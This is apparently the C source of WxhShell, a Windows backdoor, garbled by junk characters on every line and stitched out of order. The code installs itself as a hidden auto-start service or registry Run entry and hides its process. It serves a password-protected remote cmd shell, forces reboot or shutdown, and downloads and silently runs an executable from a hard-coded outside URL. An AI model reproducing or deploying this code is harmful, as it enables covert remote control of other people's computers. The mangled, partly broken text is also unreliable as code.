    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9r>E3-q  
    else { 7PkJ-JBA  
    closesocket(wsh); '{(UW.Awo  
    ExitThread(0); &\Amn?Iq  
    } %DdJ ^qHI  
    break; 9k6r_G"  
    } G>q(iF'  
  // 获取shell Q_t`.jus  
  case 's': { ` P9XqWr  
    CmdShell(wsh); 3K_A<j:  
    closesocket(wsh); g>J<%z, }2  
    ExitThread(0); kS!viJwtT  
    break; W16,Alf:  
  } /"B?1?qc,=  
  // 退出 l \sU  
  case 'x': { mVR P~:+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >ss/D^YS  
    CloseIt(wsh); d$ ^ ,bL2p  
    break; K#U<ib-v  
    } [3@):8  
  // 离开 X_7UJ jFw"  
  case 'q': { A7n\h-b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tQylT0'[+o  
    closesocket(wsh); 'z[Sp~I\  
    WSACleanup(); 'Tc]KXD6  
    exit(1); o0pII )v  
    break; rf$X>M=G  
        } M{*Lp6h  
  } lg b?)=  
  } BN4_:  
K=,F#kn  
  // 提示信息 X#e1KZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |JVk&8 ?8  
} D)d~3`=#  
  } /jRRf"B  
IhA*"  
  return; DrO2y  
} D`VM6/iQR  
7bV{Q355P  
// shell模块句柄 ETXZ?\<a5  
int CmdShell(SOCKET sock) D &/L:  
{ uxzze~_+C  
STARTUPINFO si; $t6e2=7  
ZeroMemory(&si,sizeof(si)); +*hm-lv?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >mjNmh7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _C`K*u 6Z<  
PROCESS_INFORMATION ProcessInfo; kJ Mf  
char cmdline[]="cmd"; \xS&v7b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~>+]%FPv  
  return 0; 4A2?Uhp y  
} !H}vu]R  
wy}k1E'M  
// 自身启动模式 .Fa4shNV  
int StartFromService(void) a$Cdhx !  
{ uECsh2Uin  
typedef struct 6CMub0   
{ yn/rW$  
  DWORD ExitStatus; fOMvj%T@2  
  DWORD PebBaseAddress; ]._LLSzWhg  
  DWORD AffinityMask; T"0,r $3:  
  DWORD BasePriority; Xt'sQ}  
  ULONG UniqueProcessId; |K|h+fgG6*  
  ULONG InheritedFromUniqueProcessId; [NTtz <i@  
}   PROCESS_BASIC_INFORMATION; 6%VV,$p  
.k0~Vh2u  
PROCNTQSIP NtQueryInformationProcess; eR3$i)5  
R]i7 $}n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #Z<a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #2EI\E&$  
b/Xbs0q  
  HANDLE             hProcess; ,Uy|5zv  
  PROCESS_BASIC_INFORMATION pbi; &JtV'@>v  
?:L:EW8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n2I V2^ "  
  if(NULL == hInst ) return 0; @`,1:  
^*fxR]Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PxfY&;4n!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~fo6*g:f1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wW/7F;54  
iT)z_  
  if (!NtQueryInformationProcess) return 0; vVgg0Y2  
s$a09x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Iy6$7~  
  if(!hProcess) return 0; g{P%s'%*  
H Tz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L^{|uP15N  
bk\yCt06y;  
  CloseHandle(hProcess); 5efpeu  
nM0[P6p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =lVK IW  
if(hProcess==NULL) return 0; ^'ryNa;"  
zrU{@z$l  
HMODULE hMod; e~"fn*"  
char procName[255]; $]q8, N|1  
unsigned long cbNeeded; 3yNU$.g  
-Fn  }4M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zdp/|"D!  
<Engi!  
  CloseHandle(hProcess); tu5*Qp\  
L*x[?x;)@  
if(strstr(procName,"services")) return 1; // 以服务启动 \2vg{  
nO)X!dp}J  
  return 0; // 注册表启动 YLVPAODY  
} !Lh^oPT"I  
E.U_W  
// 主模块 O/!bG~\Y  
int StartWxhshell(LPSTR lpCmdLine) E~AjK'Z  
{ D91e\|]  
  SOCKET wsl; wGZR31  
BOOL val=TRUE; \{EpduwZ  
  int port=0; LvEnXS  
  struct sockaddr_in door; qBT.x,$  
=ID 2  
  if(wscfg.ws_autoins) Install(); >X51$wBL  
6AWKLFMV  
port=atoi(lpCmdLine); {N#KkYH{"  
,do58i K  
if(port<=0) port=wscfg.ws_port;  HyR!O>  
U5 r7j  
  WSADATA data; LbII?N8`N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y7|P-3[ 4w  
0V!l,pg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .m`y><.5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }>[G5[ \  
  door.sin_family = AF_INET; hbc uK&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >pr=|$zk=  
  door.sin_port = htons(port); ~%2pp~1 K  
_kY#D;`:r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )nd\7|5#  
closesocket(wsl); SKW%X8  
return 1; #"49fMi/  
} E[^ {w  
mB0l "# F  
  if(listen(wsl,2) == INVALID_SOCKET) { ZoB {x*IH  
closesocket(wsl); NzW`B^p  
return 1; :F?x)"WoQ+  
} q}FVzahv  
  Wxhshell(wsl); d O~O |Xsb  
  WSACleanup(); ^`D=GF^tX  
*;XWLd#  
return 0; Gxa x2o  
MJ\eh>v&  
} $.:mai  
GTJ{h  
// 以NT服务方式启动 W@2vjz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NOS>8sy  
{ U #~;)fZ  
DWORD   status = 0; b,IocD6v;P  
  DWORD   specificError = 0xfffffff; H-p;6C<  
K)_WL]RJ.4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8_!.!Kde |  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v{ <[)cr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [>|FB'  
  serviceStatus.dwWin32ExitCode     = 0; A$WZF/x  
  serviceStatus.dwServiceSpecificExitCode = 0; ~xIj F1Z  
  serviceStatus.dwCheckPoint       = 0; Hp|}~xjn  
  serviceStatus.dwWaitHint       = 0; +B|7p9qy  
28OWNS M=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cb:gH}j  
  if (hServiceStatusHandle==0) return; WGAXIQ  
|0z;K:5s  
status = GetLastError(); Urgtg37  
  if (status!=NO_ERROR) TH&qX  
{ Y+qQIMZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tW;:-  
    serviceStatus.dwCheckPoint       = 0; 5%}wV,Y  
    serviceStatus.dwWaitHint       = 0; j:bgR8 %e  
    serviceStatus.dwWin32ExitCode     = status; g`>og^7g  
    serviceStatus.dwServiceSpecificExitCode = specificError; R3X{:1{j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,Os? f:Y6  
    return; bOI3^T  
  } HWm#t./  
9GdB#k6W`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3u33a"nL8  
  serviceStatus.dwCheckPoint       = 0; 7}_!  
  serviceStatus.dwWaitHint       = 0; |~<N -~.C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bg8#qv  
} z 5]bia,  
%/.a]j!  
// 处理NT服务事件,比如:启动、停止 ,pBh`av  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7'N S9|  
{ [\Qr. 2  
switch(fdwControl) 0L^u2HZYL  
{ _#_ E^!  
case SERVICE_CONTROL_STOP: X _$a,"'~)  
  serviceStatus.dwWin32ExitCode = 0; jw ,izxia  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (3dPLp:K  
  serviceStatus.dwCheckPoint   = 0; ueG|*[  
  serviceStatus.dwWaitHint     = 0; ^ZTGJ(j7~  
  { z}Jr^>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .C]cK%OO N  
  } j 6ut}Uq  
  return; OU7 %V)X5  
case SERVICE_CONTROL_PAUSE: *V k ^f+5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k8]O65t|  
  break; [hRU&z;W  
case SERVICE_CONTROL_CONTINUE: W@\ (nfD2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; smQVWs>  
  break; Ei({`^  
case SERVICE_CONTROL_INTERROGATE: Ov82ibp_1  
  break; 9tg)Mo%  
}; #hw/^AaD-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -p-0;Hy  
} DDd|T;8  
fYrGpW( `  
// 标准应用程序主函数 fMf&?`V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u2(eaP8d  
{ AAUyy :  
v0l_w  
// 获取操作系统版本 [*m2  
OsIsNt=GetOsVer(); YW; Hk1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UF__O.l__  
s4T}Bs r  
  // 从命令行安装 )fU(AXSP  
  if(strpbrk(lpCmdLine,"iI")) Install(); @oe\"vz  
uM(UO,X  
  // 下载执行文件 <JI& {1  
if(wscfg.ws_downexe) { l+y-Fo@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IJU0[EA]F  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?HHzQ4w%{  
} .>6 Wv0  
p D=w >"  
if(!OsIsNt) { "t(wG{RxY  
// 如果时win9x,隐藏进程并且设置为注册表启动 =fyyqb 4  
HideProc(); F#+.>!  
StartWxhshell(lpCmdLine); XT@Mzo49z\  
} gmSQcN)  
else *9gD*AnM,  
  if(StartFromService()) EA{U!b]cU  
  // 以服务方式启动 ~0-g%C?R  
  StartServiceCtrlDispatcher(DispatchTable); 'qv;sB.  
else UU@fkk  
  // 普通方式启动 KhM.Tc  
  StartWxhshell(lpCmdLine); Q*O<@   
vH?9\3  
return 0; K3p@$3hQ  
} yqSY9EX7  
Q1tpCT  
$EBb"+Y'T  
3#.\  
=========================================== XrN- 2HTV  
<`g3(?   
GHN3PEJ>  
'dt\db5p  
.]76!(fWZ  
\3PE+$  
" N?23 m`3  
[6g O  
#include <stdio.h> BgRZ<B`  
#include <string.h> Rf[V)x  
#include <windows.h> xRX>|S  
#include <winsock2.h> g*-2* \  
#include <winsvc.h> ,{<p  
#include <urlmon.h> yBn_Kd  
v:d9o.h  
#pragma comment (lib, "Ws2_32.lib") if~rp-\P  
#pragma comment (lib, "urlmon.lib") QB 77:E  
m)f|:MM  
#define MAX_USER   100 // 最大客户端连接数  93w~.p  
#define BUF_SOCK   200 // sock buffer T{ -2fp8r[  
#define KEY_BUFF   255 // 输入 buffer 7U:=~7GH  
lfS;?~W0k  
#define REBOOT     0   // 重启 n,KA&)/s  
#define SHUTDOWN   1   // 关机 +Z+ExS<#z  
HZ\k-!2  
#define DEF_PORT   5000 // 监听端口 ~b8a^6:R"  
,$Tk$  
#define REG_LEN     16   // 注册表键长度 =s[ &;B`s  
#define SVC_LEN     80   // NT服务名长度 4MX7=!E  
w:Q|?30  
// 从dll定义API .C5@QKU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /4C`k=>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bxv8RB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #%cR%Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  .fJ*c  
W/v|8-gcK  
// wxhshell配置信息 !Z/$}xxj  
struct WSCFG { n>llSK  
  int ws_port;         // 监听端口 _pSIJ3O  
  char ws_passstr[REG_LEN]; // 口令 ~n]NyVFP  
  int ws_autoins;       // 安装标记, 1=yes 0=no j-* TXog  
  char ws_regname[REG_LEN]; // 注册表键名 BLW]|p|1:  
  char ws_svcname[REG_LEN]; // 服务名 QGPR.<D)B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $Sb@zLi)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k!13=Gh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o>!JrH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7!- \L7<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X')S;KW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'rx?hL3VW  
;](h2Z`3s  
}; .&(8(C  
X,Zd=  
// default Wxhshell configuration 0P9Wy!f7  
struct WSCFG wscfg={DEF_PORT, h[H%:743  
    "xuhuanlingzhe", n2E4!L|q  
    1, b"P&+c  
    "Wxhshell", KnFQ)sX^  
    "Wxhshell", IHVMHOq}'  
            "WxhShell Service", r|bPR!0  
    "Wrsky Windows CmdShell Service", M c@GH  
    "Please Input Your Password: ", bm6hZA|  
  1, F '#^`G9  
  "http://www.wrsky.com/wxhshell.exe", +:y&{K  
  "Wxhshell.exe" cUC17z2D  
    }; @Mr}6x*  
=phiD&=  
// 消息定义模块 h60\ Y 8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ) MBS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xSOoIsL[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J=P;W2L  
char *msg_ws_ext="\n\rExit."; TMY{OI8a  
char *msg_ws_end="\n\rQuit."; /h-6CR Ka  
char *msg_ws_boot="\n\rReboot..."; @tQ2E}psP,  
char *msg_ws_poff="\n\rShutdown..."; 1t%<5O;R  
char *msg_ws_down="\n\rSave to "; P#F_>GB  
+{Gw9h"5g*  
char *msg_ws_err="\n\rErr!"; zP|*(*  
char *msg_ws_ok="\n\rOK!"; [,nfAY  
7%YYr^d  
char ExeFile[MAX_PATH]; Fd}<Uote3  
int nUser = 0; r?afv.@L2  
HANDLE handles[MAX_USER]; <THUsY`3P&  
int OsIsNt; {DS\!0T-X  
c&A]pLn+x  
SERVICE_STATUS       serviceStatus; 1)gv%_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %Il;B~t  
Fu mn9  
// 函数声明 1{7_ `[  
int Install(void); #!Ze\fOC  
int Uninstall(void); mf~Lzp  
int DownloadFile(char *sURL, SOCKET wsh); Q_v\1"c  
int Boot(int flag); sM0c#YK?  
void HideProc(void); >eu `!8  
int GetOsVer(void); _&K\D p&@  
int Wxhshell(SOCKET wsl); `:R-[>5P8  
void TalkWithClient(void *cs); pr)K{~m]{<  
int CmdShell(SOCKET sock); sxt`0oE  
int StartFromService(void); j^rYFS w:Q  
int StartWxhshell(LPSTR lpCmdLine); F[(6*/46x  
,?fN#gc :  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *seu&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RAdvIIQp:  
tgK x4  
// 数据结构和表定义 f{f_g8f[  
SERVICE_TABLE_ENTRY DispatchTable[] = "u,sRbL  
{ )I?RMR  
{wscfg.ws_svcname, NTServiceMain}, uH0#rgKt  
{NULL, NULL} Gk{W:866  
};  srvYAAE  
phe"JNML  
// 自我安装 >|5XaaDa  
int Install(void) B6(h7~0(<  
{ .r(^h/IF  
  char svExeFile[MAX_PATH]; 2h5tBEOX.s  
  HKEY key; *WD;C0?z  
  strcpy(svExeFile,ExeFile); df!+T0  
P~o@9RV-  
// 如果是win9x系统,修改注册表设为自启动 Bmmb  
if(!OsIsNt) { |z]aa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ko]QCLL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d RHlx QUn  
  RegCloseKey(key); xp~YIeSg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VVgsLQd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !W 0P `i<  
  RegCloseKey(key); KxGKA  
  return 0; a (P^e)<  
    } dEL3?-;'  
  } w< v1 N  
} @pTD{OW?  
else { /cM 5  
_`slkw P.  
// 如果是NT以上系统,安装为系统服务 `D4oAx d9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S!u6dz^[$X  
if (schSCManager!=0) o; 6fvn  
{ 10/x'#(  
  SC_HANDLE schService = CreateService jC#`PA3m=  
  ( ZK%Kgk[\:~  
  schSCManager, fm[_@L% x  
  wscfg.ws_svcname, `8mD7xsg$  
  wscfg.ws_svcdisp, te4F"SEf  
  SERVICE_ALL_ACCESS, Oi6f8*,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IkiQ Ok  
  SERVICE_AUTO_START, GJ.kkTMT  
  SERVICE_ERROR_NORMAL, Zlr{L]c  
  svExeFile, mJSK; @w<O  
  NULL, =DGn,i9  
  NULL, B:B8"ODV  
  NULL, 'y'T'2N3  
  NULL, 0Z@ARMCe|m  
  NULL |if~i;VKL  
  ); >6*(}L9  
  if (schService!=0) FLVbkW-G.  
  { =fL6uFmxI@  
  CloseServiceHandle(schService); +Gk! t]dy  
  CloseServiceHandle(schSCManager); GU:r vS!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y;zt_O/  
  strcat(svExeFile,wscfg.ws_svcname); R5m`;hF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <jpeu^7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aJEbAs}  
  RegCloseKey(key); AD~~e% s=  
  return 0; eo>/  
    } $o/0A  
  } W`w5jk'0^=  
  CloseServiceHandle(schSCManager); |\i:LG1  
} x:!C(Ep)  
}  $&ex\_W  
ERUs0na]  
return 1; #>7')G  
} k&MlQ2'!<  
Pd)K^;em  
// 自我卸载 9`)w@-~~  
int Uninstall(void) `Ev A\f  
{ 6U;Jg_zS  
  HKEY key; N$N;Sw  
fBHkLRFH  
if(!OsIsNt) { HXD*zv@ *6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'LJ %.DJ  
  RegDeleteValue(key,wscfg.ws_regname); dE 3i=  
  RegCloseKey(key); 3*CzXK>`M&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V}vl2o  
  RegDeleteValue(key,wscfg.ws_regname); ):/<H  
  RegCloseKey(key); B rez&3[  
  return 0; h5LJij J  
  } f28gE7Y\a  
} uAW*5 `[  
} 2neF<H?^o  
else { fo/ D3  
+O;OSZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r24\DvS  
if (schSCManager!=0) hEyX~f  
{ c%q}"Y0oh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )ZS:gD  
  if (schService!=0) %Nwyx;>9^K  
  { o|rGy 5  
  if(DeleteService(schService)!=0) { ;J,,f1Vw  
  CloseServiceHandle(schService); N+Q(V*:3v  
  CloseServiceHandle(schSCManager); wQF&GGY R  
  return 0; &Iv\jhq  
  } D)H?=G  
  CloseServiceHandle(schService); r~S!<9f  
  } S(g<<Te  
  CloseServiceHandle(schSCManager); w,M1`RsK  
} Gk{ "O%AE  
} XA&tTpfJE  
DBj;P|L_  
return 1; O0K@M  
} 4FfwpO3,Ku  
q#mFN/.(+  
// 从指定url下载文件 377j3dP  
int DownloadFile(char *sURL, SOCKET wsh) O4 +SD  
{ ?#VP)A  
  HRESULT hr; eEZ|nEU  
char seps[]= "/"; *eJhd w*  
char *token; @&~OB/7B:  
char *file; zxk??0] /  
char myURL[MAX_PATH]; oiTMP`Y  
char myFILE[MAX_PATH]; hO+O0=$}wN  
USnD7I/b  
strcpy(myURL,sURL); >K_$[qP3  
  token=strtok(myURL,seps); /{eih]`x(  
  while(token!=NULL) *tq|x[<  
  { pO-s@"j]  
    file=token; ?L<UOv7;t  
  token=strtok(NULL,seps); 'T&=$9g7  
  } g(@$uJ  
h 7(H%(^_  
GetCurrentDirectory(MAX_PATH,myFILE); )rs|=M=Xk  
strcat(myFILE, "\\"); k$UzBxR  
strcat(myFILE, file); 1cHSgpoJ  
  send(wsh,myFILE,strlen(myFILE),0); )+jK0E1  
send(wsh,"...",3,0); \,@Yl.,+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h-?q6O/|  
  if(hr==S_OK) )$gsU@H -  
return 0; =0@d|LeZ  
else zJy 89ib'  
return 1; (!XYH@Mz<w  
S5*~r@8h  
} Z3X&<Y5  
*6sJ*lh  
// 系统电源模块 %U=S6<lbj;  
int Boot(int flag) M f%^\g.}  
{ 6*(h9!_T1  
  HANDLE hToken; \Age9iz&  
  TOKEN_PRIVILEGES tkp; )"pxry4v7J  
8 ACY uN\  
  if(OsIsNt) { s0`|G|.}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bG?WB,1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t]u(jX)  
    tkp.PrivilegeCount = 1; RAv RNd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f}9PEpa,Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ig.6[5a\  
if(flag==REBOOT) { rr07\;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rktn/Vi  
  return 0; e~>p.l  
} Dvq*XI5  
else { n&3iv ^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U!;aM*67  
  return 0; J1c&"Oh  
} Pw^c2TQ  
  } bzj!d|T`  
  else { f)AW! /  
if(flag==REBOOT) { ! 6p)t[s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z`xz~9a<  
  return 0; (Qh7bfd  
} ~-`BSR  
else { njwR~aL`|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ) v[Knp'  
  return 0; hD6ur=G8u  
} Vhbj.eX.)  
} E-tNB{r@  
~*cY&  9  
return 1; nuQLq^e  
} *OGXu07 !  
eJ=Y6;d$  
// win9x进程隐藏模块 Mc$v~|i6  
void HideProc(void) iu6WGm R  
{ 0oi5]f6g?8  
mtWx ?x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hs4zJk  
  if ( hKernel != NULL ) _OknP2E  
  { xXY)KI N[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4|@FO}rK[l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -MHX1`P:Sn  
    FreeLibrary(hKernel); a`@<ZsR  
  } UTK.tg  
GdfK xSO  
return; vVAZSR#  
} `~aLSpB65  
N5w]2xz!  
// 获取操作系统版本 dl7p1Cr  
int GetOsVer(void) s=y9!rr  
{ '/yx_R K2?  
  OSVERSIONINFO winfo; )ejXeg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <rwOI.W l$  
  GetVersionEx(&winfo); ZAo)_za&mH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G$x["  
  return 1; t6L^ #\'  
  else ^K 77V$v  
  return 0; E~Up\f  
} 48&KdbGX  
,f /IG.  
// 客户端句柄模块 [vjkU7;7A  
int Wxhshell(SOCKET wsl) l&^[cR  
{ %yuIXOJ  
  SOCKET wsh; b1>$sPJ+  
  struct sockaddr_in client; RJ@e5A6_  
  DWORD myID; :J4C'N  
A Fm*60C  
  while(nUser<MAX_USER) $hE'b9qx  
{ a+a%}76N  
  int nSize=sizeof(client); ZV<y=F*~f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *}iT6OJ  
  if(wsh==INVALID_SOCKET) return 1;  RoM*Qjw  
f $@".  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $evuPm8G  
if(handles[nUser]==0) 8DS5<  
  closesocket(wsh); {}_Oo%IVGK  
else -ZoOX"N}  
  nUser++; (B/F6 X;o.  
  } %k;FxUKi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $ E~Lu$|  
]MA)=' ~  
  return 0; qP^0($  
} 7E6?)bgh  
rgZ rE;*;  
// 关闭 socket 2|NyAtPb5  
void CloseIt(SOCKET wsh) k;:u| s8NS  
{ z Q|x>3   
closesocket(wsh); VX>t!JP p  
nUser--; eP'kY(g8   
ExitThread(0); J%[N-  
} h }%M  
-JO46 #m  
// 客户端请求句柄 3]]6z K^i  
void TalkWithClient(void *cs) +U/"F|M  
{ Dp6"I!L<|  
G-i_s6Wu  
  SOCKET wsh=(SOCKET)cs; nu9k{owB T  
  char pwd[SVC_LEN]; rnBeL _8C  
  char cmd[KEY_BUFF]; ZE(RvPW  
char chr[1]; O>F.Wf5g  
int i,j; &fy8,}  
yExyx?j.  
  while (nUser < MAX_USER) { [c!vsh]^  
j83Y'VJJC  
if(wscfg.ws_passstr) { jeBj   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5sCk y)N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >E,L"&_j  
  //ZeroMemory(pwd,KEY_BUFF); hE#8_34%s  
      i=0; rHdP4:n  
  while(i<SVC_LEN) { wkpVX*DfRE  
kuud0VWJ  
  // 设置超时 Jsnmn$C  
  fd_set FdRead; ,Y5 4(>>%  
  struct timeval TimeOut; yrYaKh  
  FD_ZERO(&FdRead); ;Wh[q*A  
  FD_SET(wsh,&FdRead); l3|>*szX  
  TimeOut.tv_sec=8; gV44PI6h  
  TimeOut.tv_usec=0; z iGL4c0p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g(r'Y#U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :Du{8rV  
^Jpd9KK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KIY_EE$?  
  pwd=chr[0]; O xaua  
  if(chr[0]==0xd || chr[0]==0xa) { J& SuUh<  
  pwd=0; l YA+k5  
  break; %t|2GIu  
  } XUNgt(OGR'  
  i++; knZd}?I*  
    } {Om3fSk:  
vgZPDf|  
  // 如果是非法用户,关闭 socket 9U1!"/F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `l0icfy  
} F7Yuky  
H.~+{jTr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A_ z:^9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z:gsguX  
Z$K%@q,10+  
while(1) { |-Klh  
54_m{&hb  
  ZeroMemory(cmd,KEY_BUFF); Jpnp'  
3lgy X/?o  
      // 自动支持客户端 telnet标准   /38Pp%  
  j=0; sh3}0u+  
  while(j<KEY_BUFF) { {"(|oIo{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .%h_W\M<l  
  cmd[j]=chr[0]; `fVA. %  
  if(chr[0]==0xa || chr[0]==0xd) { F+^[8zK^  
  cmd[j]=0; }slEkpk? ]  
  break; m,fr?d/;  
  } iv`-)UsE  
  j++; 1fp&"K:yR  
    } yf>,oNIAg  
52Ffle8  
  // 下载文件 cwU6}*_zn  
  if(strstr(cmd,"http://")) { Dp'af4+%$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OVK(:{PwS  
  if(DownloadFile(cmd,wsh)) UM^hF%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Du4?n8 o  
  else B|w}z1.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jq@LZ2^  
  } 2!`Z3>Oa  
  else { 9K y,oB  
h 'CLf]  
    switch(cmd[0]) { +eat,3Ji  
  p{u}t!`!d  
  // 帮助 ]sIFK  
  case '?': { 1O{67Pf  
